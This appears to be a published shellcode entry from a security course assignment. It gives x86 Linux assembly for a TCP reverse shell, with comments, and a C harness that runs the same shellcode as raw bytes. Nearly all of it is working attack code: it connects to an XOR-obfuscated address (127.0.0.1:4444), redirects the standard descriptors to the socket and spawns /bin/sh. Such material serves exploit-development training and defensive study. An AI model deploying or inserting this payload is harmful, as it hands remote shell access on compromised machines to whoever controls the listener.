/* ; Title: Linux/x86 - TCP reverse shell ; Author: Paolo Perego ; Website: https://codiceinsicuro.it ; Blog post: https://codiceinsicuro.it/slae/assignment-2-create-a-reverse-shellcode/ ; Twitter: @thesp0nge ; SLAE-ID: 1217 ; Purpose: connect to a given IP and PORT and spawning a reverse shell if ; connection succeded global _start section .text _start: ; Creating the socket. ; ; int socket(int domain, int type, int protocol); ; ; socket() is defined as #define __NR_socket 359 on /usr/include/i386-linux-gnu/asm/unistd_32.h ; AF_INET is defined as 2 in /usr/include/i386-linux-gnu/bits/socket.h ; SOCK_STREAM is defined as 1 in /usr/include/i386-linux-gnu/bits/socket_type.h xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx mov ax, 0x167 mov bl, 0x2 mov cl, 0x1 int 0x80 ; sfd = socket(AF_INET, SOCK_STREAM, 0); mov ebx, eax ; storing the socket descriptor into EBX for next syscall ; Connect to my peer ; ; connect() is defined as #define __NR_connect 362 on /usr/include/i386-linux-gnu/asm/unistd_32.h ; peer.sin_family = AF_INET; ; peer.sin_port = htons(DPORT); ; peer.sin_addr.s_addr = inet_addr(IP); ; ret = connect(sfd, (const struct sockaddr *)&peer, sizeof(struct sockaddr_in)); ; 127 = 0x7f ; 0 = 0x0 ; 0 = 0x0 ; 1 = 0x1 ; push 0x0100007f mov eax, 0xfeffff80 xor eax, 0xffffffff push eax push word 0x5c11 ; port 4444 is 0x5c11 push word 0x2 ; AF_INET is 2 mov ecx, esp mov dl, 0x10 ; sizeof(struct sockaddr_in) xor eax, eax mov ax, 0x16a int 0x80 test eax, eax ; check if eax is zero jnz exit_on_error ; Duplicating descriptor 0, 1, 2 to the socket opened by client ; ; int dup2(int oldfd, int newfd); ; ; dup2 is defined as #define __NR_dup2 63 in /usr/include/i386-linux-gnu/asm/unistd_32.h xor ecx, ecx mov cl, 2 xor eax, eax dup2: mov al, 0x3F ; 63 in decimal int 0x80 ; duplicating file descriptors in backwards order; from 2 to 0 dec ecx jns dup2 ; Executing shell ; ; int execve(const char *filename, char *const argv[], char *const envp[]); ; execve() is defined as #define __NR_execve 11 on /usr/include/i386-linux-gnu/asm/unistd_32.h xor eax, eax push eax ; The NULL byte push 0x68732f2f ; "sh//". The second '\' is used to align our command into the stack push 0x6e69622f ; "nib/" mov ebx, esp ; EBX now points to "/bin//sh" xor ecx, ecx xor edx, edx mov al, 0xB ; 11 in decimal int 0x80 exit_on_error: mov bl, 0x1 xor eax, eax ; zero-ing EAX mov al, 0x1 int 0x80 */ #include #include unsigned char code[] = \ "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"; int main(int argc, char **argv) { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); }